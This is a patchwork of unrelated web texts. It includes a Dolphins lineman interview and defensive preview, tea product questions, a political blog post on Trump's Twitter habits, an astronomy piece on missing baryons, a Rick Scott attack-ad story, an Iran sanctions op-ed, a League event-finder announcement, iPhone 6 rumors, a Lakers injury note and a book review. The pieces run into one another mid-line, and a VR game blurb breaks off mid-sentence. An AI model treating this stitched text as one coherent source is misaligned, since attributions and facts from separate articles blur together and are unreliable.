Every day I come in here you’re drinking a green milkshake. It looks disgusting.
“It tastes fine. You have options for what you want to put in it. I’m not one to eat a kale salad, but you can mix in that drink and I don’t know it’s there. It tastes like strawberry banana.”
Are you a guy who has trouble keeping your weight up, or do you have trouble keeping it down?
“Historically, keeping it up. It’s a different challenge when you have to eat to gain weight. In college, before weigh-ins, I used to have to eat two large pizzas just to make weight.”
How long did it take to wolf those down?
“Not as long as you’d think. You get pretty good at it after a while. I can carbo-load like a boss.”
What else?
“Fine, I’ll give you something. They had a Bar Louie and every Wednesday was $2 burger night, so I’d go with my buddy. We’re sitting there one night and the waitress is like, ‘Oh, you guys gotta come back Friday for the tater tot eating competition.’
“The hook is you get to drink whatever you want during the competition. And it’s a $250 gift certificate to Bar Louie. I’m in college, so hell yeah. So it was six minutes to eat as many as you can, and I ate like 3 1/2 pounds of tater tots in six minutes. I won—by like two tots. So I got a lot of $2 burger nights out of that.”
Were you doing that to make weight or was that just for sport?
“No, that was for making money, man.”
I’ve heard o-linemen say they actually hate being this heavy. You’re 6-foot-8, 306 pounds. Do you long for the day when you don’t have to carry that weight?
“I don’t want to be 300 pounds forever, especially when I’m not playing football. I’d like to think I’ll lose the weight. It’s healthier in the long run. I’d be able to go shopping again and actually fit in stuff.”
What’s the worst part of being your size?
“There’s been some roller coasters I haven’t been able to fit on.”
How long ago was that?
“Not that long ago. It was at Disney, the Rock ‘n’ Roller Coaster. Luckily I had FastPass, but I did wait in line the whole time and finally got to the front and they were like, ‘Uh, sorry sir. I don’t know how to tell you this, but, uh, you’re too big.’ Damn, I’d been on every other roller coaster.”
Your agent is Drew Rosenhaus. He’s got an interesting reputation. Tell me something that will make people think differently about him.
“Him and his brother, how they work is pretty neat to watch. Drew has this room in his house that has like 10 TVs in it, so he’s able to watch every game his clients are playing in. He’s on top of everything. He might have 150 clients and he could probably name most of the clients he’s ever had and how long they’ve played and details about them. That’s something people don’t see. He’s great at what he does. It’s been a great relationship. If I give him or his brother a call, it’s two rings and they pick up.”
I heard you are one of the most involved players in the Dolphins Cancer Challenge (the main event is Feb. 10 at Hard Rock Stadium and features a concert by the Goo Goo Dolls, a 5K and a bike ride). Why is that particular cause important to you?
“It’s just something I got involved with last year. My wife and I participated. The money stays local with the UM Sylvester Cancer Center. I’m no different than most people in that cancer’s affected my family and loved ones. It’s a good way that I can help make progress toward a cure. It’s as worthy of a cause as I can get behind.”
You and your wife ran the 5K?
“My wife ran. I walked.”
Is your wife faster than you?
“Yeah. Oh yeah. She does marathons and half-marathons.”
But I think people underestimate how fast offensive linemen are. You could smoke me in a 40-yard dash, couldn’t you?
“Depends on the time of year, but yeah.”
How far of a run would we have to do for me to be faster than you? A mile? Two miles?
“I’m good for about 10 minutes, then I crap out. I’ve got a mile in me. You’d definitely have me in two miles. I can’t run two miles. You’d get me 10 times out of 10.”
[Dolphins could take a hard look at OT Eric Smith over final two games]
[Dolphins RB Kenyan Drake continues his rise]
[Michael Thomas might actually be the Dolphins’ biggest Pro Bowl snub]
Check out The Palm Beach Post‘s Miami Dolphins page on FacebookEditor's note: With the start of Dolphins’ training camp nearing, the Sun Sentinel takes a look at the team's top storylines in a 10-part series. Today, Chris Perkins tackles whether Matt Burke can fix the defense, which struggled mightily against the run last season.
Miami Dolphins defensive coordinator Matt Burke has a huge challenge on his hands. He must turn one of the NFL’s worst defenses last year — 29th in total defense and 30th in rushing defense — into a quality unit while using many of the same starters.
Burke, in his first year on the job, will focus first on stopping the run, something the Dolphins also failed to do effectively in 2015, when they finished 28th in rushing defense.
Don’t underestimate the run defense issue. It affects the offense. Miami was last in the NFL at 57 plays per game last season partly because the offense didn’t convert effectively on third downs, but also because the porous run defense allowed opponents to eat up the clock.
The Dolphins, who used five of their seven draft picks this year on defense, return the majority of their starters on the front seven. They’re led by ends Cameron Wake and Andre Branch, tackles Ndamukong Suh and Jordan Phillips, and linebacker Kiko Alonso. They’ll likely have two new starters at linebacker with veteran free agent Lawrence Timmons and rookie second-round pick Raekwon McMillan.
There’s promise because Wake and Suh made the Pro Bowl, Timmons, who has five consecutive 100-tackle seasons, is a legitimate tough guy, and Alonso, an undersized middle linebacker, will likely move to the weakside where athleticism is more important than bulk.
The offseason program is where the foundation of a good NFL team is built. For the Miami Dolphins to return to the playoffs and go even farther this year, the groundwork had to be laid in the spring during the organized team activities and minicamp, which recently concluded. Here’s a look at the top playmakers, biggest surprises and areas of concern that surfaced during the Dolphins’ offseason program: (Omar Kelly) (Omar Kelly)
There’s doubt because Phillips is coming off a disappointing season, McMillian, who brings an aggressive mentality, is a rookie, and, again, many of these returnees were key players on the failing run defenses of the past two seasons.
The Dolphins added depth among ends Charles Harris, their first-round pick, and William Hayes and tackles Davon Godchaux, their fifth-round pick, and Vincent Taylor, their sixth-round pick, and that should help. Hayes has a reputation as a run-stuffing specialist.
Most likely, however, due to limited hitting in training camp and the limited playing time of key contributors in preseason games, it’ll be tough to measure the run defenses improvement until the regular season begins.
As for the pass defense the Dolphins, who were a respectable 15th in the league last season, also have questions.
The pass rush, led by Wake (11.5 sacks last season), Suh (5.0 sacks) and Branch (5.5 sacks), should get a boost from Harris, a pass-rushing specialist.
There are three primary starting candidates at cornerback among returning starters Byron Maxwell, Xavien Howard and Tony Lippett, and there’s rookie Cordrea Tankersley, the team’s third-round pick. Bobby McCain will return in the slot. Strong safety Reshad Jones, limited to six games last year due to a shoulder injury, is back, and free safety Nate Allen, a free-agent signee, will probably be the other starter.
If you think you’re seeing a lot of familiar names, you’re right. The Dolphins basically return eight starters on defense.
CAPTION Sun Sentinel's Omar Kelly and Safid Deen discuss what the Miami Dolphins will be looking for at the NFL Combine. Sun Sentinel's Omar Kelly and Safid Deen discuss what the Miami Dolphins will be looking for at the NFL Combine. CAPTION Sun Sentinel's Omar Kelly and Safid Deen discuss what the Miami Dolphins will be looking for at the NFL Combine. Sun Sentinel's Omar Kelly and Safid Deen discuss what the Miami Dolphins will be looking for at the NFL Combine. CAPTION Offensive coordinator Chad O’Shea discusses challenges of building a new offense. Offensive coordinator Chad O’Shea discusses challenges of building a new offense. CAPTION Sun Sentinel's Dave Hyde and Omar Kelly discuss the Miami Dolphins coaching staff's desire to build a multiple offense and defense, but say it won't be easy to do. Sun Sentinel's Dave Hyde and Omar Kelly discuss the Miami Dolphins coaching staff's desire to build a multiple offense and defense, but say it won't be easy to do. CAPTION The South Florida Sun Sentinel's Safid Deen and Omar Kelly discuss whether the Dolphins have the draft collateral needed to select quarterback Kyler Murray. The South Florida Sun Sentinel's Safid Deen and Omar Kelly discuss whether the Dolphins have the draft collateral needed to select quarterback Kyler Murray. CAPTION Miami Dolphins defensive coordinator Patrick Graham explains how he'll build a multiple-front defense. Miami Dolphins defensive coordinator Patrick Graham explains how he'll build a multiple-front defense.
That means Burke’s biggest challenge is turning a lot of last year’s questions into this year’s answers.
Dolphins’ training camp schedule: Thursday, July 27, 8:20 a.m.; Friday, July 28, 8:20 a.m.; Saturday, July 29, 8:20 a.m.; Sunday, July 30, 8:20 a.m.; Monday, July 31, 8:20 a.m.; Wednesday, Aug. 2, 8:45 a.m.; Thursday, Aug. 3, 8:20 a.m.; Friday, Aug. 4, 8:20 a.m.; Monday, Aug. 7, 8:45 a.m.; Tuesday, Aug. 8, 8:20 a.m.; Sunday, Aug. 13, 8:20 a.m.; Monday, Aug. 14, 8:20 a.m.; Tuesday, Aug. 15, 8:20 a.m.
All open practices will take place at the Baptist Health Training Facility at Nova Southeastern University in Davie; Practice times are subject to change, for the most updated information call 954-452-7004 or go to Dolphins.com/TrainingCamp
chperkins@sunsentinel.com; On Twitter @ChrisperkQuestions and Answers
Can only Adagio cups be used? Is there a certain diameter a cup must be?
Asked by Kaitlyn Morgan
on May 21st, 2016 2 VIEW REPLIES HIDE REPLIES
I brewed some chai in mine and now the silicone (I think?) valve bits smell of cinnamon and ginger, which can bleed into other teas I try to brew. Normal cleaning (warm, soapy water) isn't really helping. Help?
Asked by Emily McIntyre
on August 15th, 2016 3 VIEW REPLIES HIDE REPLIES
Should 'per cup' loose tea measurements be doubled when making a full 16 oz Ingenuitea pot of tea?
BD Asked by Brian D
on April 20th, 2016 1 VIEW REPLY HIDE REPLY
I accidentally left wet leaves in the base and now the strainer is a little moldy. Hours do I clean it? Am I just resigned to buying a whole new item since I can't get a replacement filter?
Asked by Esby Miller
on September 17th, 2016 1 VIEW REPLY HIDE REPLY
Does the Ingenuitea require descaling like coffee appliances? If so what's the best method to use to not affect the taste of the tea?
ML Asked by Michael Layman
on May 12th, 2016 1 VIEW REPLY HIDE REPLY
can you get a replacement lid anywhere? Think mine went into the garbage with the tea leaves
Asked by Raymond Bland
on March 6th, 2016 1 VIEW REPLY HIDE REPLY
Can I buy a replacement filter?
SK Asked by Suzanne Kellogg
on November 7th, 2016 1 VIEW REPLY HIDE REPLY
Why don't you guys sell replacement strainers? Because after a while they get really funky...
Asked by Brett P.
on January 22nd, 2017 1 VIEW REPLY HIDE REPLY
Do these not come with the coasters anymore? I liked having them around to catch drips.
Asked by Jennifer Cleary
on October 22nd, 2016 2 VIEW REPLIES HIDE REPLIES
I just got it and I am wondering, how do you detach the bottom to get to the filter to put the tea in or do you just add it to the container and add hot water to it? This didn't come with instructions
Asked by Helen Cryan
on February 4th, 2017 2 VIEW REPLIES HIDE REPLIES
Iced Tea question - Wouldn't the tea become cloudy if added to ice while hot?
Asked by Carolyn Stoll
on June 11th, 2016 3 VIEW REPLIES HIDE REPLIES
Can the ingenuiTea teapot be put in the microwave
FS Asked by Frances Scott
on March 22nd, 2017 1 VIEW REPLY HIDE REPLY
Do you add hot water or does water get hot in it
Asked by Becky Stanley
on October 24th, 2017 1 VIEW REPLY HIDE REPLY
How do I clean mine? Should I take it apart and soak them in vinegar or will soap and water work? I have 3 and they are all funky and they never came with instructions so I need help please
Asked by Kenna Butler
on July 2nd, 2018 2 VIEW REPLIES HIDE REPLIES
How long for an order to arrive?
TD Asked by Tonia Doell
on September 27th, 2017 1 VIEW REPLY HIDE REPLY
I just received my new ingenuiTea (I’ve had several that lasted many years) and it has a metal strainer that I can’t seem to remove but some reviews say it is removable. What is the current state of filters on this model: removable or not?
J Asked by Julie
on October 3rd, 2018 1 VIEW REPLY HIDE REPLY
Before I purchase one I would like to know if it comes apart for cleaning. I purchased one similar from a company who no longer is in business. I love it but am looking for a new one. Please advise.
HJ Asked by Helen Jackson
on November 6th, 2018 1 VIEW REPLY HIDE REPLY
No directions for operation included. How do I open it to put tea in?
EM Asked by Elizabeth Marrow
on December 1st, 2018 2 VIEW REPLIES HIDE REPLIES
How do I clean the loose tea after brewing?
JB Asked by jane boyd
on January 26th, 2019 1 VIEW REPLY HIDE REPLY
Just rec'd mine. Where do you put tea? Does bottom come off?
KK Asked by Kathleen Krantz
on February 1st, 2019 1 VIEW REPLY HIDE REPLY
Ask a question about ingenuiTEA teapot and have the Adagio Teas community offer feedback.Big props to Tara Palmeri of Tiger Beat On The Potomac for writing as perfect a horror story as ever Rod Serling imagined. I mean, holy mother of god. We are being ruled by, as my pal Quinn Cummings has been saying for months, a giant toddler, and not a particularly well-behaved one, either.
The key to keeping Trump's Twitter habit under control, according to six former campaign officials, is to ensure that his personal media consumption includes a steady stream of praise. And when no such praise was to be found, staff would turn to friendly outlets to drum some up — and make sure it made its way to Trump's desk. "If candidate Trump was upset about unfair coverage, it was productive to show him that he was getting fair coverage from outlets that were persuadable," said former communications director Sam Nunberg. "The same media that our base digests and prefers is going to be the base for his support. I would assume the president would like see positive and preferential treatment from those outlets and that would help the operation overall."
Little Lord Fauntleroy, with nuclear bombs.
Luckily, there are well-funded fake news sites around when more than one nanny is needed.
Trump is also, however, a near-nonstop consumer of cable news, and his staff's efforts were not always enough to keep Trump from tweeting on topics that were far from his campaign's core message. Throughout the campaign, whatever messaging the candidate's staff had planned was continually accompanied — and often overshadowed — by a string of feuds that played out both on and off Twitter. But his team believed that their strategies would keep Trump from taking to his preferred social media outlet to escalate his personal or political conflicts. For example, when Trump engaged in a Twitter war with the father of a slain Muslim U.S. soldier in Iraq, Khizr Khan, the team set up a meeting with Gold Star Mothers of Florida and made sure to plant the story in conservative media. Breitbart also wrote stories about Khan's relationships with the Democratic Party. "We made sure that conservative media was aware of it, they connected the echo chamber," the former official said.
Of course, sometimes, the locks on the nursery get left open.
They would also go to media amplifiers like Fox News hosts and conservative columnists to encourage them to tweet out the story so that they could print out and show a two-page list of tweets that show that they were steering the message. While Trump still couldn't contain his Twitter-rage with Machado, and ended up tweeting about a mystery sex-tape of the Hillary Clinton surrogate, aides say they dialed back even more posts. "He saw there was activity so he didn't feel like he had to respond," the former campaign official said. "He sends out these tweets when he feels like people aren't responding enough for him."
Sooner or later, I have to believe even Putin is going to wonder what in Hell he's gotten himself into.
Respond to this post on the Esquire Politics Facebook page.Giant galaxies such as the Milky Way and Andromeda consist mostly of exotic dark matter. But even our galaxy's ordinary material presents a puzzle since most of it is missing and remains undiscovered by scientists. Now, however, by watching a galaxy plow through the Milky Way's outskirts, astronomers have estimated the amount of gas surrounding our galaxy's bright disk, finding that this material outweighs all of the interstellar gas and dust in our part of the Milky Way.
Measurements of the cosmic microwave background—the big bang's afterglow—indicate that one sixth of all matter in the universe is ordinary, or baryonic, containing protons and neutrons (or "baryons" in the parlance of physicists), just as stars, planets and people do. Based on the motion of distant objects orbiting the Milky Way, astronomers estimate that our galaxy is roughly a trillion times as massive as the sun. If five sixths of this material is dark matter, then this exotic substance makes up 830 billion solar masses of our galaxy; baryonic matter should account for the remaining 170 billion.
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The trouble is, all of our galaxy’s known stars and interstellar matter add up to only about 60 billion solar masses: 50 billion in stars and 10 billion in interstellar gas and dust. (The Milky Way has more than 100 billion stars, but most are smaller than the sun.) That leaves a whopping 110 billion solar masses of ordinary material unaccounted for. If the Milky Way is even more massive than currently estimated, this missing baryon problem gets worse—and the same conundrum afflicts other giant galaxies as well.
Where are the missing baryons? Perhaps in a diffuse gaseous halo around the Milky Way. X-ray satellites have detected oxygen atoms in our galaxy that have lost most of their eight electrons, a sign they inhabit gas that is millions of degrees hot—far hotter than the surface of the sun. But since we don’t know how far these fried oxygen atoms are from us, we can’t accurately gauge the size of this component of the galaxy. If they're fairly close to the disk, then this so-called circumgalactic medium isn't extensive and therefore doesn't amount to much. But if they're far away, spread throughout a gargantuan halo, this gaseous material could outweigh all of the galaxy's stars, providing fuel for star formation for billions of years to come.
Fortunately for astronomers, the Milky Way is so mighty that it rules a retinue of smaller galaxies that revolve around it just as moons orbit a planet. The most splendiferous satellite galaxy is the Large Magellanic Cloud, shining 160,000 light-years from Earth. Like all the other galactic satellites, this one moves around the Milky Way, but unlike most of its peers, it abounds with gas, which gets stripped as it ramsinto the halo's own gas. The amount of gas lost depends on the speed at which our neighbor moves and how dense the halo gas is. And that density can yield a mass estimate for the halo's gas.
Still, the newly calculated halo gas mass makes up just 15 percent of the Milky Way's expected baryonic content. Besla says the true quantity of the halo gas is probably greater because its density may decline less with distance than standard models assume. Miller suspects the missing baryons may be absent from the Milky Way altogether, having never fallen into our galaxy with the dark matter, in which case they are drifting in the vast space between giant galaxies.
Besla predicts that future work may yield a better measurement. Another gas-rich galaxy—the Small Magellanic Cloud, 200,000 light-years from Earth—orbits the Large Magellanic Cloud. Their dance has spilled gas into a stream more than half a million light-years long. Most of this Magellanic Stream extends beyond the Large Magellanic Cloud and thus should probe the halo's gas density elsewhere, Besla says, further constraining the mass of the circumgalactic medium.
Indeed, astronomers on Earth are lucky: They inhabit one of the few giant galaxies boasting two nearby gas-rich satellite galaxies. "It's amazing how much information this system provides us," Besla says. In contrast, all satellites orbiting a more typical giant galaxy have run out of gas, and any astronomers there may look upon their peers in the Milky Way with quiet envy.Crytek announced their first VR title of Robinson: The Journey for PlayStation VR at E3 earlier this year. However, they have had a lot more than just that in the works.
With this map seemingly set somewhere in Asia, you’re on a beautiful tropical beach resort. As apparently a professional free-climber, you’re scaling the rockfaces of the nearby cliffs in an attempt to reach the top.
I’m not entirely certain on how this will feel given the fact that you will be sitting but I know they would not make the game if they didn’t test out the look and feel for it already. It utilizes Crytek’s CryEngine 3 so you can rest assured that it will look good, especially on your Oculus. Speaking of Oculus, we can only assume that it |
Tuesday, Sep 27th 2011 14:49Z
By (anonymous) on Tuesday, Sep 27th 2011 14:48Z
Add your comment: (max 1024 characters) Your Name: Your Email: Subject: Your comment: The Aviation Herald Apps
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Interview: The human factor named "Simon Hradecky" and the team of man and machine Get the news right onto your desktop when they happen © 2008-2019 by The Aviation Herald, all rights reserved, reprint and republishing prohibited. We use cookies to ensure you get the best experience on our site, learn moreA screenshot from an attack ad video posted by Florida Gov. Rick Scott in response to a viral video of this woman shown here, Cara Jennings, berating Scott out of a Gainesville Starbucks. (Photo: Let's Get to Work YouTube channel)
Florida Gov. Rick Scott launched a political attack advertisement at the woman captured in a 16-second viral video berating him out of a Gainesville Starbucks.
The 58-second response video — entitled "Latte Liberal Gets an Earful" — was posted to the state "Let's Get to Work" initiative's YouTube channel Friday. The original video entitled "Governor Scott gets an earful" has garnered more than 2 million views on YouTube since posted Tuesday.
Both videos show the woman, Cara Jennings, yelling at Scott calling him "an a------" whose crusade to cut Medicaid blocked her access to health care under the Affordable Care Act, commonly known as Obamacare.
Jennings has said in multiple interviews that the video did not show the cordial beginning of the conversation and just the ramifications of what Scott said that really ticked her off — what she took as him suggesting where she should go get her medical care.
The narrator in the response video calls Jennings “a terribly rude woman in a coffee shop cursing and screaming at Gov. Scott."
After Jennings refers to Scott biologically, the narrator says in a joking tone: “Well, that woman clearly has a problem."
The video goes on to depict her as a "former government official" who "refused to recite the Pledge of Allegiance" and "calls herself an anarchist" before waiting a beat and saying: “But nevermind about that."
Jennings proudly affirms all of those claims in Q&A piece she did with a longtime friend who is a Daily Dot reporter.
In the original video, Jennings yells: "You don't care about working people. You should be ashamed to show your face around here."
Scott smiled and shot back with, "Oh really?" and says he's helped create a million jobs.
"A million jobs? Great! Who here has a great job?" Jennings replies.
Scott's video addresses that, saying he has created 9,300 jobs in the area and halved local unemployment.
The narrator continues to respond to her "Who here has a great job?" question by saying: “Well, almost everybody. Except those sitting around coffee shops demanding public assistance, surfing the internet and cursing as customers who come in."
Warning: Both videos contain crude language.
Original "Governor Scott gets an earful" video:
Response "Latte Liberal Gets an Earful" video:
Read or Share this story: http://newspr.es/1MZJvQ5WASHINGTON, D.C. - For those hoping the international community might finally be getting more serious about possible sanctions against Iran for its continued defiance of U.N. Security Council resolutions, the headlines this week were downright discouraging. "In Face of Sanctions Push, China Warms Up to Iran," The New York Times declared on Friday. "China Lauds Ties with Iran," according to Thursday's Wall Street Journal. And, as Charles Krauthammer noted in his column in Friday's Washington Post, his own paper said on Wednesday: "Russian Not Budging on Iran Sanctions; Clinton Unable to Sway Counterpart."
None of this, of course, should be a major surprise in light of the Oct. 1 meeting in Geneva of the so-called P5+1 with Iran. At that meeting, Iranian representatives agreed to a process by which Iran might let in international inspectors and might send lightly enriched uranium to Russia for further enrichment. Russia and China have been hoping for that process, which removes the need for even any talk of sanctions, let alone the sanctions themselves.
Russian and Chinese resistance to sanctions is certainly not new. Several U.N. resolutions against Iran passed during the Bush Administration were severely watered down at the insistence of Moscow and Beijing. Now, those capitals don't even want to talk about the possibility of taking U.N. action against Tehran. It would be "premature," in the words of Russian Foreign Minister Sergei Lavrov after meeting with U.S. Secretary of State Hillary Clinton. Added Prime Minister Vladimir Putin several thousand miles away in Beijing: "There is no need to frighten the Iranians" with talk of sanctions. "If now, before making any steps we start announcing some sanctions," Putin said, "then we won't be creating favorable conditions for talks to end positively. This is why it is premature to talk about this now."
Despite this crystal clear rejection from Russia, Clinton voiced optimism in an interview on ABC's "Good Morning America" that if sanctions become necessary, "we will have support from Russia." Her optimism apparently is based on what U.S. officials claim she was told by Russian President Dmitry Medvedev on Tuesday. These same officials got carried away when Medvedev, in New York for the U.N. General Assembly session last month, criticized sanctions but said they might be inevitable anyway. Alas, for those of us no longer working in the government, we can rely only on Lavrov's and Putin's public comments to divine Russia's position. And based on those comments - and the fact that it is Putin, much more so than Medvedev, who is calling the shots in Russia on issues of this importance - Clinton's optimism seems sadly misplaced.
While in Moscow with Lavrov standing next to her, Clinton also had this to say: "We did not ask for anything today. We reviewed the situation and where it stood, which I think was the appropriate timing for what this process entails." How could she not have asked for Russian support for sanctions? She schlepped 5,000 miles to Moscow and didn't seek Russian support for sanctions? Could this be true? Whether Clinton asked or not, Lavrov and Putin seemed to have provided a clear answer - no. The situation with China isn't much better. As part of a meeting of the Shanghai Cooperation Organization, Chinese officials hosted Iranian Vice President Reza Rahimi this week, and the two governments "had frequent exchanges, and cooperation in trade and energy has widened and deepened," according to press reports. That certainly doesn't sound promising for seeking Chinese support on sanctions either.
It may explain why neither Russia nor China was invited to a meeting organized last week by the U.S. with 10 allies to discuss the prospects for possible sanctions. Having Russia and China at the meeting likely would have led to disagreements on the way forward, but excluding them from it virtually guarantees that they will not support sanctions. Perhaps the Obama Administration is planning to follow a path outside of the U.N. process, where Russia and China have veto power. Perhaps it has already discounted the likelihood of having Russia and China on board. Why, then, the continued spin from Clinton and others?
The problem with both Moscow and Beijing is that they have too much at stake in their respective relationships with Iran. They don't want to sacrifice that by siding with the U.S. and other members of the P5+1. They'd much rather have the West play the role of the bad guy in applying pressure on Iran. Moreover, they simply don't share the same sense of threat, notwithstanding the recent disclosure of the nuclear facility in Qum. The Russians reportedly were surprised by this revelation - and then very annoyed that they had not been briefed on it well beforehand.
The clock is ticking, and Iran continues to work away on its nuclear program. One can only hope that the Obama Administration knows what it is doing and is working quietly, behind-the-scenes, in winning support for possible sanctions. The public evidence suggests otherwise._TL;DR - We’re transitioning the event finder tool to focus on connecting players to live League events while winding down online tournament prize support through the tool. The tool’s new look and functionality will go live on **May 4**. We’re also looking to integrate collegiate and local sponsored events into the tool, though live dates for these features are still TBD._ Hey folks, Many of you are doubtless thinking “event finder...what the heck is that?” Well, that’s part of what we’re trying to address. We created the tool years ago with the goal of helping players meet up for live events as well as giving them a workable way to organize and obtain prize support for online tournaments. Unfortunately, the tool hasn’t scaled well over the years - it’s only very sparingly used for live events, and the online prizing support feature is almost equally unknown while being heavily and repeatedly used by an extremely small minority of players (less than 1% of the NA player base). We’re obviously to blame for a lot of these problems, as we haven’t very well promoted the tool or guided usage. We’re hoping to change that this year (in line with our wider 2016 live event efforts) by refocusing event finder around promotion, support, and prizing for live gatherings and events. Simultaneously, we’ll be transitioning the tool away from support and prizing for online-only tournaments. Although event finder will no longer support online-only tournament setup, mixed events that begin online and culminate in a live component will still be supported and eligible for prizing. Online tournament prize support is something we may want to re-explore in the future, but based on current use we don’t believe the event finder tool is the way to make it work. Instead, we’ll refocus those resources on supporting live events across North America that can hopefully offer awesome experiences to a greater variety and number of players. We know these changes will significantly impact the small number of players currently using the tool for online prizing support, so we’re giving advance notice in order to give affected players time to prep for the change. We’ll roll out these changes and the tool’s new look on May 4. Beyond that, we want to continue building up the tool as a way for local communities to get together and share their passion for League. To that end, we’re working to integrate collegiate events into the tool, and more tentatively exploring the potential for sponsored partner events. More details to come! Feel free to leave any questions you may have in the comments for us to address, otherwise we’ll have more details to share once the changes take effect next month. Edit for clarity : this change is only happening in NA at this moment. Other regions are at their own discretion for how they want to support these the tournaments.
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SaveSince 1964, the Bureau of Ocean Energy Management, Regulation and Enforcement has collected royalties from oil companies and set them aside in what's called the Land and Water Conservation Fund, which is used to match grants for recreation projects at the federal, state, and local levels—buying private land, building and maintaining infrastructure on public lands, that kind of thing.
Or at least that's how it's supposed to work. The fund should have a total of $900 million annually in it, but Congress has underfunded it—using it as a piggy bank for other programs—for the past half century. Worse yet, the fund is set to expire at the end of the month unless Congress votes to extend it. It's not surprising that advocacy groups like the Sierra Club are speaking up in favor of the fund. But outdoors companies like REI, Patagonia, Black Diamond, and SmartWool, and their executives, have been brought into the fold as well.
As part of the effort to pressure Congress into extending the fund, the nonprofit group Center for Western Priorities created an interactive map, based on data from the National Park Service, that lays out which national parks have benefited from the Land and Water Conservation Fund. Even a quick look shows that 60 percent of the parks have pulled from the fund. But projects at the state and local levels benefit too. From 2011 to 2014, an average of 58 percent of the fund went toward non-federal projects, according to the center.
The national parks data has never been crunched or presented in this way, says Aaron Weiss, the center’s media director. “As it turns out, the LWCF has been central to making hundreds of our national parks whole over the last 50 years.”While some industry watchers issue Apple research covering things that never seem to materialize — like the “iRing” and “iTV,” for example — Ming-Chi Kuo has made a name for himself using a slightly different method: his predictions are almost always correct. As such, we should all pay attention when Kuo issues new research on Apple’s plans, and on Thursday morning he sent out a massive report covering what seems to be just about everything there is to know about the upcoming iPhone 6 and iPhone phablet.
In a note to investors sent Thursday that was picked up by MacRumors, KGI Securities analyst Ming-Chi Kuo passed along information gleaned from his always-reliable supply chain sources. In doing so, he may have taken all the mystery out of Apple’s upcoming next-generation iPhone launches later this year.
Beginning with the main flagship iPhone 6 model, Kuo reports that it will indeed feature a new 4.7-inch display panel. In an earlier note, the analyst said that the new Retina panel will sport a resolution of 1,334 x 750 pixels, which works out to a pixel density of 326 pixels per inch.
Kuo said that the iPhone 6 will feature a new Apple A8 processor along with 1GB of RAM. While rival Android devices move to 2GB or even 3GB of RAM in 2014, Apple is apparently content to stick with 1GB. The comparatively small amount of memory doesn’t seem to be causing any problems thus far.
The analyst also says Apple’s new iPhone will feature a big design overhaul that is much thinner, and the bezel on the sides of the display will be reduced by between 10% and 20% so that the phone can still be used comfortably with one hand despite the larger screen.
Interestingly, Kuo believes that Apple will add NFC chips to this year’s iPhone models.
The new iPhone phablet will feature a full HD 1,920 x 1,080-pixel display that measures 5.5 inches diagonally, according to Kuo. That works out to a pixel density of 401 ppi.
Apple’s first phablet will seemingly sport specs that are very similar to the smaller iPhone 6 model, including the A8 processor, NFC and Touch ID. The battery will be much larger, however, with Kuo suggesting that it will be between 50% and 70% bigger than the current iPhone 5s battery.
Kuo also says that the power/sleep/wake button on both new iPhone models will be moved from the top of the phone to the side, so it can be reached more easily on the larger phones. Many large Android phones have the power button situated on the side as well.
The analyst claims that Apple will switch from Gorilla Glass to sapphire crystal to cover the iPhone’s displays, but possibly only on the high-end models with 64GB of memory. This is due to supply constraints, Kuo said, though ultimately Apple will supposedly move all of its iPhone models to sapphire.
Part of the reason for the shift to sapphire, Kuo said, is that Touch ID may soon be embedded in iPhone display panels rather than home buttons, and sapphire is needed to ensure fingerprint reading accuracy.
According to the report, the iPhone 4s and iPhone 4 will be discontinued and the iPhone 5s and iPhone 5c will occupy Apple’s two lower-end price slots. In the U.S., that would make the iPhone 5c free on contract while the iPhone 5s would likely retail for $99 on contract.
Kuo says that Apple’s new 4.7-inch iPhone 6 will launch late in the third quarter, and the iPhone phablet will launch late in the fourth quarter. His release timing aligns with a report from earlier this week.
More from BGR: T-Mobile’s next move: Shame AT&T and Verizon into ditching data overage fees
This article was originally published on BGR.com
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You have to check out this awesome collection of ancient computer advertisementsLakers big men Pau Gasol, left, and Dwight Howard have been out of the lineup… (Stephen Dunn / Getty Images )
Pau Gasol will not be available for the Lakers on Tuesday night against the Milwaukee Bucks, as he is still trying to recover from the concussion he suffered on Jan. 6 against the Denver Nuggets.
This will be Gasol's 13th missed game this year, fifth with the concussion.
The Lakers expect to start Earl Clark in his place alongside Dwight Howard, who returned on Sunday after being out with a shoulder injury.
Gasol has played in 25 games this season. The Lakers record in that stretch is 12-13 (48%), better than the team's overall 16-21 (43.2%) on the season.
Gasol will be re-evaluated throughout the week.
The Miami Heat will visit Staples Center on Thursday before the Lakers head out on a three-game road trip.
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Dwight Howard back from shoulder injury
Jordan Hill shocked and devastated by hip injury
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Email Eric Pincus at eric.pincus@gmail.com and follow him on Twitter @EricPincus.In The Hitchhiker’s Guide to the Galaxy, Douglas Adams noted that “on the planet Earth, man had always assumed that he was more intelligent than dolphins because he had achieved so much—the wheel, New York, wars, and so on—whilst all the dolphins had ever done was muck about in the water having a good time. But conversely, the dolphins had always believed that they were far more intelligent than man—for precisely the same reasons.”
This is an interesting point, and one that’s tackled in great detail in Kevin Laland’s new book, Darwin’s Unfinished Symphony. Other species are indisputably smart; they can learn by example, they can communicate, they can innovate to solve problems, they can use tools, they may even have distinct cultures. But humans are clearly different. Other species don’t listen to Baroque concerti or read classical philosophy hundreds of years after the scores were composed or the treatises written. They just don’t.
A culture of teaching
This difference really bugged Laland. He is loath to say that humans are special because that implies some vast, unbridgeable gulf between us and our closest kin. Laland is an evolutionary biologist, and he doesn’t go for those sorts of claims. He knows that humans evolved from a common ancestor with other primates through natural selection and other such well-defined mechanisms.
Yet a vast, unbridgeable gulf really does, in fact, come between us and our closest kin. Something huge must have happened to explain how and why we alone have built cathedrals and telescopes and banks and submarines and smartphones and particle accelerators. This is not navel gazing; we are special.
So, with Darwin’s Unfinished Symphony, Laland set out to define what that something huge was. He concluded that it was not as dramatic as one of our early ancestors getting repeatedly struck by lightning or bitten by a radioactive spider. Rather, his thesis is that humans alone evolved such a complex culture because humans alone have teachers dedicated to teaching their young. And the reason only we have teachers—people who devote the bulk of their lives to teaching the offspring of strangers not only vital life skills, like how to hunt and fish, but the entire accumulated knowledge of our species over the past few millennia—is because... we have such a complex culture.
Yes, that’s circular. We generated culture, which shaped our evolution to allow us to devise language so we could generate an increasingly complex culture—well, that’s how feedback loops work.
Mimicry vs. learning
Many animals can copy each other’s behaviors, but early humans did it better than other organisms. This allowed those behaviors to stick around in the population for a long time, which in turn allowed for people to tweak and improve each behavior incrementally. This is how innovation generally happens—not in a huge burst of individual inspiration, but in tiny steps made by different people over time. So once our complex culture developed, it became a selective force that drove the evolution of our bodies, brains, and minds. Because once we developed complicated culture, we needed to develop the mechanisms to maintain it.
